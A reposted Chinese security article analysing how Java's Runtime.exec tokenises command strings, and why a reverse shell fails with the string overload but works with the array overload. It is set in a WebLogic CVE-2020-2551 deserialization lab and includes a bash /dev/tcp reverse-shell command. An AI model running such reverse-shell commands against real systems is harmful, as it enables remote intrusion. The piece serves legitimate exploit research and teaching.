掃二維碼與項目經理溝通
我們在微信上24小時期待你的聲音
解答本文疑問/技術咨詢/運營咨詢/技術建議/互聯網交流
遇到很多次在調用Runtime.getRuntime().exec方法進行彈shell的時候遇到的各種限制,都沒好好的認識認識原理,這次主要是總一個總結和原理上的分析。

創(chuàng)新互聯服務項目包括波密網站建設、波密網站制作、波密網頁制作以及波密網絡營銷策劃等。多年來,我們專注于互聯網行業(yè),利用自身積累的技術優(yōu)勢、行業(yè)經驗、深度合作伙伴關系等,向廣大中小型企業(yè)、政府機構等提供互聯網行業(yè)的解決方案,波密網站推廣取得了明顯的社會效益與經濟效益。目前,我們服務的客戶以成都為中心已經輻射到波密省份的部分城市,未來相信會繼續(xù)擴大服務區(qū)域并繼續(xù)獲得客戶的支持與信任!
之后使用docker起一個具有反序列化的漏洞的Java服務(能夠執(zhí)行命令就行)。
之后開啟調試的功能,
我這里直接就是用存在的weblogic的漏洞環(huán)境,直接通過發(fā)送T3協議數據包來觸發(fā)反序列化漏洞。
我這里使用的是CVE-2020-2551進行利用,
我們首先進行curl命令執(zhí)行看看是否可以執(zhí)行命令。
接下來我們使用反彈shell的命令嘗試
bash -i >& /dev/tcp/192.168.153.1/8080 0>&1
按照正常的邏輯,應該會成功的???!
但是,并沒有,如圖:
我們跟進一下Runtime執(zhí)行命令的源碼。
因為對于linux和windows版本的JDK有一點小區(qū)別,所以我這里在項目依賴的位置將windows版的rt.jar包替換成了linux版的rt.jar包。
好了,言歸正傳,開始分析Runtime.getRuntime().exec執(zhí)行命令的邏輯了。
在Runtime類中的exec方法存在有多個重載,大致可以分成傳入的參數是一個字符串,或者是一個字符串數組進行命令執(zhí)行。
我們首先來看看字符串作為參數的情況是怎么樣的。
在這個方法中將會調用this.exec((String)var1, (String[])null, (File)null)方法繼續(xù)進行調用。
在這個方法中,首先是傳入的命令不能為空,不然會拋出異常,之后主要是創(chuàng)建了一個StringTokenizer對類對象,傳入的構造方法參數是我們需要執(zhí)行的命令字符串。
從該方法的注釋中也能夠看出端倪來。
使用通過調用 new StringTokenizer(command) 創(chuàng)建的 StringTokenizer 將命令字符串分解為標記,而無需進一步修改字符類別。分詞器生成的分詞然后以相同的順序放置在新的字符串數組 cmdarray 中
所以我們可以跟進StringTokenizer類的構造方法中
為指定的字符串構造一個字符串分詞器。分詞器使用默認的分隔符集,即“\t\n\r\f”:空格字符、制表符、換行符、回車符和換頁符。
也就是使用這個類將命令字符串中跟據\t\n\r\f等字符來進行分割成一塊塊的數組,
主要的實現方法就是在exec方法中,首先調用StringTokenizer#countTokens來初始化cmdarray這個數組對象。
主要是利用skipDelimiters / scanToken這兩個方法來進行切片操作的
之后就是調用nextToken方法來為前面初始化的數組進行賦值操作
在分割成了數組之后調用exec的重載方法public Process exec(String[] cmdarray, String[] envp, File dir)
終歸還是回到了ProcessBuilder類對象的創(chuàng)建來,在Java中另一種執(zhí)行命令的方式就是通過調用ProcessBuilder#start()方法來執(zhí)行命令。
這里進行了environment / 工作目錄的初始化之后調用了start方法進行命令執(zhí)行操作。
這里獲取的是命令字符串的分割之后的第一塊,這個就是該命令執(zhí)行的環(huán)境,比如/bin/sh / /bin/bash這些。
可以注意到在其后面有一個System.getSecurityManager方法的調用,這個就是通過調用checkExec方法來判斷該次的命令調用是否合法,也是Java內置的一種安全管理。
之后就是調用ProcessImpl.start方法進行執(zhí)行了,
最后將會創(chuàng)建一個UNIXProcess類對象。
傳入的第一個參數是/bin/bash這種運行環(huán)境,第二個參數就是后面緊跟的需要執(zhí)行的命令,
在這個類構造方法中,將會通過調用forkAndExec方法來創(chuàng)建了一個進程該方法返回了該進程的PID號。
使用Runtime.getRuntime().exec()方法執(zhí)行命令的時候,會將傳入的字符串命令,根據\t\n\r\f等分隔符進行分割,之后在進行命令的執(zhí)行。
如果傳入的參數是一個數組對象,來到的具體代碼就是在public Process exec(String cmdarray[])方法的調用中。
直接就來到了exec的重載方法public Process exec(String[] cmdarray, String[] envp, File dir)
在這個方法中,直接就將該數組對象傳入的ProcessBuilder的構造方法中,之后調用start方法進行執(zhí)行。
使用exec的數組作為參數傳入的重載方法,不同于使用字符串的重載方法進行命令執(zhí)行,具體到代碼中就是少了一步通過創(chuàng)建了一個StringTokenizer類對象來自動進行命令的分割,在某些情況下,將會造成命令不能執(zhí)行的情況,數組方式是直接傳入的自己已經分好塊的命令數組進行命令執(zhí)行,Java便不會自動將本應該在一起的命令分割開來造成錯誤。
本文作者:superLeeH, 轉載請注明來自FreeBuf.COM

我們在微信上24小時期待你的聲音
解答本文疑問/技術咨詢/運營咨詢/技術建議/互聯網交流